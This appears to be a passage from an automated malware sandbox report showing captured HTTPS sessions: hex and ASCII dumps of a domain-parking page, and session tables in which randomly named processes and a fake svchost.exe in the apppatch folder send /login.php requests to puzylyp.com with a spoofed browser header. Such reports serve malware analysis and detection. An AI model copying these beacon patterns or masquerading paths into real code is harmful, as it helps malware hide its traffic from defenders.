                                                                                                                                                                                                          2024-11-11 17:13:39 UTC1724INData Raw: 65 78 74 2f 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 62 31 35 35 61 35 35 36 2d 37 32 37 37 64 32 30 35 62 33 61 39 36 64 64 31 2e 6a 73 22 20 64 65 66 65 72 3d 22 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 62 37 37 39 62 62 35 65 2d 65 33 34 61 63 36 66 32 62 33 32 65 65 39 62 31 2e 6a 73 22 20 64 65 66 65 72 3d 22 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f
                                                                                                                                                                                                          Data Ascii: ext/static/chunks/b155a556-7277d205b3a96dd1.js" defer=""></script><script src="https://d15wejze7d2tlj.cloudfront.net/v1/_next/static/chunks/b779bb5e-e34ac6f2b32ee9b1.js" defer=""></script><script src="https://d15wejze7d2tlj.cloudfront.net/v1/_next/static/
                                                                                                                                                                                                          2024-11-11 17:13:39 UTC4744INData Raw: 78 2d 63 6f 6c 20 67 61 70 2d 32 20 6d 62 2d 36 22 3e 3c 68 32 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 49 6e 74 65 72 20 74 65 78 74 2d 78 6c 20 66 6f 6e 74 2d 62 6f 6c 64 20 73 6d 3a 74 65 78 74 2d 32 78 6c 22 3e 49 6e 71 75 69 72 65 20 74 6f 64 61 79 20 74 6f 20 73 65 63 75 72 65 20 74 68 69 73 20 64 6f 6d 61 69 6e 3c 2f 68 32 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 49 6e 74 65 72 20 74 65 78 74 2d 73 6d 20 66 6f 6e 74 2d 6e 6f 72 6d 61 6c 20 73 6d 3a 74 65 78 74 2d 62 61 73 65 22 3e 50 6c 65 61 73 65 20 63 6f 6d 70 6c 65 74 65 20 74 68 65 20 66 6f 72 6d 20 62 65 6c 6f 77 20 61 6e 64 20 77 65 20 77 69 6c 6c 20 63 6f 6e 6e 65 63 74 20 79 6f 75 20 77 69 74 68 20 6f 6e 65 20 6f 66 20 6f 75 72 20 64 6f 6d 61 69 6e 20 65 78 70 65 72 74 73 2e
                                                                                                                                                                                                          Data Ascii: x-col gap-2 mb-6"><h2 class="font-Inter text-xl font-bold sm:text-2xl">Inquire today to secure this domain</h2><span class="font-Inter text-sm font-normal sm:text-base">Please complete the form below and we will connect you with one of our domain experts.
                                                                                                                                                                                                          2024-11-11 17:13:39 UTC5930INData Raw: 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 44 45 22 3e 44 45 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 34 39 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 50 45 22 3e 50 45 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 31 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 4d 58 22 3e 4d 58 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 32 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 43 55 22 3e 43 55 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 33 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e
                                                                                                                                                                                                          Data Ascii: -- -->)</option><option value="DE">DE... --> (+... -->49... -->)</option><option value="PE">PE... --> (+... -->51... -->)</option><option value="MX">MX... --> (+... -->52... -->)</option><option value="CU">CU... --> (+... -->53... -->)</option
                                                                                                                                                                                                          2024-11-11 17:13:39 UTC7116INData Raw: 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 36 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 43 59 22 3e 43 59 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 37 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 41 58 22 3e 41 58 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 38 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 46 49 22 3e 46 49 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 38 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 42 47 22 3e 42 47 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20
                                                                                                                                                                                                          Data Ascii: --> (+... -->356... -->)</option><option value="CY">CY... --> (+... -->357... -->)</option><option value="AX">AX... --> (+... -->358... -->)</option><option value="FI">FI... --> (+... -->358... -->)</option><option value="BG">BG... --> (+...
                                                                                                                                                                                                          2024-11-11 17:13:39 UTC8302INData Raw: 69 63 65 2d 72 65 71 75 65 73 74 2d 66 6f 72 6d 2d 69 64 22 20 74 69 74 6c 65 3d 22 47 65 74 20 70 72 69 63 65 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 47 65 74 20 70 72 69 63 65 22 20 6c 61 62 65 6c 3d 22 47 65 74 20 70 72 69 63 65 22 20 65 6e 64 49 63 6f 6e 3d 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 6c 65 78 20 6a 75 73 74 69 66 79 2d 63 65 6e 74 65 72 20 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 67 61 70 2d 31 2e 35 20 6d 78 2d 61 75 74 6f 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6c 65 78 20 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 67 61 70 2d 32 22 3e 47 65 74 20 70 72 69 63 65 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20
                                                                                                                                                                                                          Data Ascii: ice-request-form-id" title="Get price" aria-label="Get price" label="Get price" endIcon="[object Object]"><span class="flex justify-center items-center gap-1.5 mx-auto"><div class="flex items-center gap-2">Get price<svg xmlns="http://www.w3.org/2000/svg"
                                                                                                                                                                                                          2024-11-11 17:13:39 UTC2586INData Raw: 30 2e 33 76 2e 30 36 37 68 2d 2e 31 33 36 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 37 56 2e 37 36 48 39 2e 39 36 76 2e 30 36 38 68 2d 2e 31 33 36 76 2e 30 36 37 68 2d 2e 30 36 38 76 2e 30 36 38 48 39 2e 36 39 76 2e 30 36 38 48 39 2e 36 32 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 31 33 35 76 2e 30 36 37 48 39 2e 33 35 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 37 48 39 2e 30 38 76 2e 30 36 38 48 39 2e 30 31 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 37 76 2e 30 36 37 48 38 2e 37 34 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 37 48 38
                                                                                                                                                                                                          Data Ascii: 0.3v.067h-.136v.068h-.068v.068h-.067V.76H9.96v.068h-.136v.067h-.068v.068H9.69v.068H9.62v.068h-.068v.068h-.135v.067H9.35v.068h-.068v.068h-.068v.068h-.068v.067H9.08v.068H9.01v.068h-.068v.068h-.068v.068h-.067v.067H8.74v.068h-.068v.068h-.068v.068h-.068v.067H8
                                                                                                                                                                                                          2024-11-11 17:13:39 UTC2INData Raw: 0d 0a
                                                                                                                                                                                                          Data Ascii:
                                                                                                                                                                                                          2024-11-11 17:13:39 UTC4096INData Raw: 36 38 38 31 0d 0a 65 6e 74 43 6f 6c 6f 72 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 39 2e 36 37 20 34 2e 34 37 34 68 2d 33 2e 39 34 36 76 31 31 2e 32 38 37 68 33 2e 39 34 35 63 33 2e 36 30 36 20 30 20 35 2e 39 35 2d 32 2e 32 31 35 20 35 2e 39 35 2d 35 2e 36 32 37 20 30 2d 33 2e 34 32 39 2d 32 2e 33 34 34 2d 35 2e 36 36 2d 35 2e 39 35 2d 35 2e 36 36 6d 2d 31 2e 36 38 33 20 39 2e 33 36 32 56 36 2e 33 38 32 68 31 2e 36 30 31 63 32 2e 33 37 38 20 30 20 33 2e 37 32 20 31 2e 34 30 37 20 33 2e 37 32 20 33 2e 37 35 32 73 2d 31 2e 33 34 32 20 33 2e 37 30 32 2d 33 2e 37 32 20 33 2e 37 30 32 7a 6d 31 37 2e 39 38 32 2d 32 2e 35 35 34 63 30 2d 32 2e 38 33 2d 32 2e 30 32 32 2d 34 2e 36 32 35 2d 34 2e 36 30 39 2d 34 2e 36 32 35 73
                                                                                                                                                                                                          Data Ascii: 6881entColor" fill-rule="evenodd" d="M29.67 4.474h-3.946v11.287h3.945c3.606 0 5.95-2.215 5.95-5.627 0-3.429-2.344-5.66-5.95-5.66m-1.683 9.362V6.382h1.601c2.378 0 3.72 1.407 3.72 3.752s-1.342 3.702-3.72 3.702zm17.982-2.554c0-2.83-2.022-4.625-4.609-4.625s
                                                                                                                                                                                                          2024-11-11 17:13:39 UTC13046INData Raw: 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 31 33 35 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 30 36 37 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 37 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 31 33 35 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 31 33 35 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 37 76 2d 2e 31 33 36 68 2d 2e 30 36 38 76 2d 2e 30 36 37 68 2d 2e 30 36 38 76 2d 2e 31 33 36 68 2d 2e 30 36 38 76 2d 2e 31 33 36
                                                                                                                                                                                                          Data Ascii: 068h-.068v-.068h-.135v-.068h-.136v-.068h-.136v-.067h-.067v-.068h-.068v-.068h-.068v-.068h-.068v-.067h-.067v-.068h-.068v-.068h-.068v-.068h-.136v-.135h-.067v-.068h-.068v-.068h-.068v-.135h-.068v-.068h-.068v-.068h-.067v-.136h-.068v-.067h-.068v-.136h-.068v-.136


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          12192.168.2.65913775.2.71.1994434180C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          2024-11-11 17:13:45 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: puzylyp.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          2024-11-11 17:13:46 UTC352INHTTP/1.1 200 OK
                                                                                                                                                                                                          Alt-Svc: h3=":443"; ma=2592000
                                                                                                                                                                                                          Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:46 GMT
                                                                                                                                                                                                          Etag: "7y6qithl0b19wv"
                                                                                                                                                                                                          Server: Caddy
                                                                                                                                                                                                          Server: awselb/2.0
                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                          X-Powered-By: Next.js
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          2024-11-11 17:13:46 UTC2372INData Raw: 38 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 53 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 38 30 78 31 38 30 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 70 75 62 6c 69 63 2f 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2e 70 6e 67 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 31
                                                                                                                                                                                                          Data Ascii: 8000<!DOCTYPE html><html lang="en-US"><head><meta charSet="utf-8"/><link rel="apple-touch-icon" sizes="180x180" href="https://d15wejze7d2tlj.cloudfront.net/v1/public/apple-touch-icon.png"/><link rel="icon" type="image/png" sizes="32x32" href="https://d1
                                                                                                                                                                                                          2024-11-11 17:13:46 UTC1724INData Raw: 65 78 74 2f 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 62 31 35 35 61 35 35 36 2d 37 32 37 37 64 32 30 35 62 33 61 39 36 64 64 31 2e 6a 73 22 20 64 65 66 65 72 3d 22 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 62 37 37 39 62 62 35 65 2d 65 33 34 61 63 36 66 32 62 33 32 65 65 39 62 31 2e 6a 73 22 20 64 65 66 65 72 3d 22 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f
                                                                                                                                                                                                          Data Ascii: ext/static/chunks/b155a556-7277d205b3a96dd1.js" defer=""></script><script src="https://d15wejze7d2tlj.cloudfront.net/v1/_next/static/chunks/b779bb5e-e34ac6f2b32ee9b1.js" defer=""></script><script src="https://d15wejze7d2tlj.cloudfront.net/v1/_next/static/
                                                                                                                                                                                                          2024-11-11 17:13:46 UTC4744INData Raw: 78 2d 63 6f 6c 20 67 61 70 2d 32 20 6d 62 2d 36 22 3e 3c 68 32 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 49 6e 74 65 72 20 74 65 78 74 2d 78 6c 20 66 6f 6e 74 2d 62 6f 6c 64 20 73 6d 3a 74 65 78 74 2d 32 78 6c 22 3e 49 6e 71 75 69 72 65 20 74 6f 64 61 79 20 74 6f 20 73 65 63 75 72 65 20 74 68 69 73 20 64 6f 6d 61 69 6e 3c 2f 68 32 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 49 6e 74 65 72 20 74 65 78 74 2d 73 6d 20 66 6f 6e 74 2d 6e 6f 72 6d 61 6c 20 73 6d 3a 74 65 78 74 2d 62 61 73 65 22 3e 50 6c 65 61 73 65 20 63 6f 6d 70 6c 65 74 65 20 74 68 65 20 66 6f 72 6d 20 62 65 6c 6f 77 20 61 6e 64 20 77 65 20 77 69 6c 6c 20 63 6f 6e 6e 65 63 74 20 79 6f 75 20 77 69 74 68 20 6f 6e 65 20 6f 66 20 6f 75 72 20 64 6f 6d 61 69 6e 20 65 78 70 65 72 74 73 2e
                                                                                                                                                                                                          Data Ascii: x-col gap-2 mb-6"><h2 class="font-Inter text-xl font-bold sm:text-2xl">Inquire today to secure this domain</h2><span class="font-Inter text-sm font-normal sm:text-base">Please complete the form below and we will connect you with one of our domain experts.
                                                                                                                                                                                                          2024-11-11 17:13:46 UTC5930INData Raw: 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 44 45 22 3e 44 45 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 34 39 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 50 45 22 3e 50 45 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 31 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 4d 58 22 3e 4d 58 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 32 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 43 55 22 3e 43 55 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 33 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e
                                                                                                                                                                                                          Data Ascii: -- -->)</option><option value="DE">DE... --> (+... -->49... -->)</option><option value="PE">PE... --> (+... -->51... -->)</option><option value="MX">MX... --> (+... -->52... -->)</option><option value="CU">CU... --> (+... -->53... -->)</option
                                                                                                                                                                                                          2024-11-11 17:13:46 UTC7116INData Raw: 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 36 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 43 59 22 3e 43 59 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 37 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 41 58 22 3e 41 58 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 38 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 46 49 22 3e 46 49 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 38 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 42 47 22 3e 42 47 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20
                                                                                                                                                                                                          Data Ascii: --> (+... -->356... -->)</option><option value="CY">CY... --> (+... -->357... -->)</option><option value="AX">AX... --> (+... -->358... -->)</option><option value="FI">FI... --> (+... -->358... -->)</option><option value="BG">BG... --> (+...
                                                                                                                                                                                                          2024-11-11 17:13:46 UTC8302INData Raw: 69 63 65 2d 72 65 71 75 65 73 74 2d 66 6f 72 6d 2d 69 64 22 20 74 69 74 6c 65 3d 22 47 65 74 20 70 72 69 63 65 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 47 65 74 20 70 72 69 63 65 22 20 6c 61 62 65 6c 3d 22 47 65 74 20 70 72 69 63 65 22 20 65 6e 64 49 63 6f 6e 3d 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 6c 65 78 20 6a 75 73 74 69 66 79 2d 63 65 6e 74 65 72 20 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 67 61 70 2d 31 2e 35 20 6d 78 2d 61 75 74 6f 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6c 65 78 20 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 67 61 70 2d 32 22 3e 47 65 74 20 70 72 69 63 65 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20
                                                                                                                                                                                                          Data Ascii: ice-request-form-id" title="Get price" aria-label="Get price" label="Get price" endIcon="[object Object]"><span class="flex justify-center items-center gap-1.5 mx-auto"><div class="flex items-center gap-2">Get price<svg xmlns="http://www.w3.org/2000/svg"
                                                                                                                                                                                                          2024-11-11 17:13:46 UTC2586INData Raw: 30 2e 33 76 2e 30 36 37 68 2d 2e 31 33 36 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 37 56 2e 37 36 48 39 2e 39 36 76 2e 30 36 38 68 2d 2e 31 33 36 76 2e 30 36 37 68 2d 2e 30 36 38 76 2e 30 36 38 48 39 2e 36 39 76 2e 30 36 38 48 39 2e 36 32 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 31 33 35 76 2e 30 36 37 48 39 2e 33 35 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 37 48 39 2e 30 38 76 2e 30 36 38 48 39 2e 30 31 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 37 76 2e 30 36 37 48 38 2e 37 34 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 37 48 38
                                                                                                                                                                                                          Data Ascii: 0.3v.067h-.136v.068h-.068v.068h-.067V.76H9.96v.068h-.136v.067h-.068v.068H9.69v.068H9.62v.068h-.068v.068h-.135v.067H9.35v.068h-.068v.068h-.068v.068h-.068v.067H9.08v.068H9.01v.068h-.068v.068h-.068v.068h-.067v.067H8.74v.068h-.068v.068h-.068v.068h-.068v.067H8
                                                                                                                                                                                                          2024-11-11 17:13:46 UTC2INData Raw: 0d 0a
                                                                                                                                                                                                          Data Ascii:
                                                                                                                                                                                                          2024-11-11 17:13:46 UTC4096INData Raw: 36 38 38 31 0d 0a 65 6e 74 43 6f 6c 6f 72 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 39 2e 36 37 20 34 2e 34 37 34 68 2d 33 2e 39 34 36 76 31 31 2e 32 38 37 68 33 2e 39 34 35 63 33 2e 36 30 36 20 30 20 35 2e 39 35 2d 32 2e 32 31 35 20 35 2e 39 35 2d 35 2e 36 32 37 20 30 2d 33 2e 34 32 39 2d 32 2e 33 34 34 2d 35 2e 36 36 2d 35 2e 39 35 2d 35 2e 36 36 6d 2d 31 2e 36 38 33 20 39 2e 33 36 32 56 36 2e 33 38 32 68 31 2e 36 30 31 63 32 2e 33 37 38 20 30 20 33 2e 37 32 20 31 2e 34 30 37 20 33 2e 37 32 20 33 2e 37 35 32 73 2d 31 2e 33 34 32 20 33 2e 37 30 32 2d 33 2e 37 32 20 33 2e 37 30 32 7a 6d 31 37 2e 39 38 32 2d 32 2e 35 35 34 63 30 2d 32 2e 38 33 2d 32 2e 30 32 32 2d 34 2e 36 32 35 2d 34 2e 36 30 39 2d 34 2e 36 32 35 73
                                                                                                                                                                                                          Data Ascii: 6881entColor" fill-rule="evenodd" d="M29.67 4.474h-3.946v11.287h3.945c3.606 0 5.95-2.215 5.95-5.627 0-3.429-2.344-5.66-5.95-5.66m-1.683 9.362V6.382h1.601c2.378 0 3.72 1.407 3.72 3.752s-1.342 3.702-3.72 3.702zm17.982-2.554c0-2.83-2.022-4.625-4.609-4.625s
                                                                                                                                                                                                          2024-11-11 17:13:46 UTC13046INData Raw: 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 31 33 35 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 30 36 37 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 37 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 31 33 35 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 31 33 35 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 37 76 2d 2e 31 33 36 68 2d 2e 30 36 38 76 2d 2e 30 36 37 68 2d 2e 30 36 38 76 2d 2e 31 33 36 68 2d 2e 30 36 38 76 2d 2e 31 33 36
                                                                                                                                                                                                          Data Ascii: 068h-.068v-.068h-.135v-.068h-.136v-.068h-.136v-.067h-.067v-.068h-.068v-.068h-.068v-.068h-.068v-.067h-.067v-.068h-.068v-.068h-.068v-.068h-.136v-.135h-.067v-.068h-.068v-.068h-.068v-.135h-.068v-.068h-.068v-.068h-.067v-.136h-.068v-.067h-.068v-.136h-.068v-.136


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          13192.168.2.66457375.2.71.1994434888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          2024-11-11 17:14:53 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: puzylyp.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          2024-11-11 17:14:53 UTC352INHTTP/1.1 200 OK
                                                                                                                                                                                                          Alt-Svc: h3=":443"; ma=2592000
                                                                                                                                                                                                          Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:14:53 GMT
                                                                                                                                                                                                          Etag: "zlmsrscfqk19wv"
                                                                                                                                                                                                          Server: Caddy
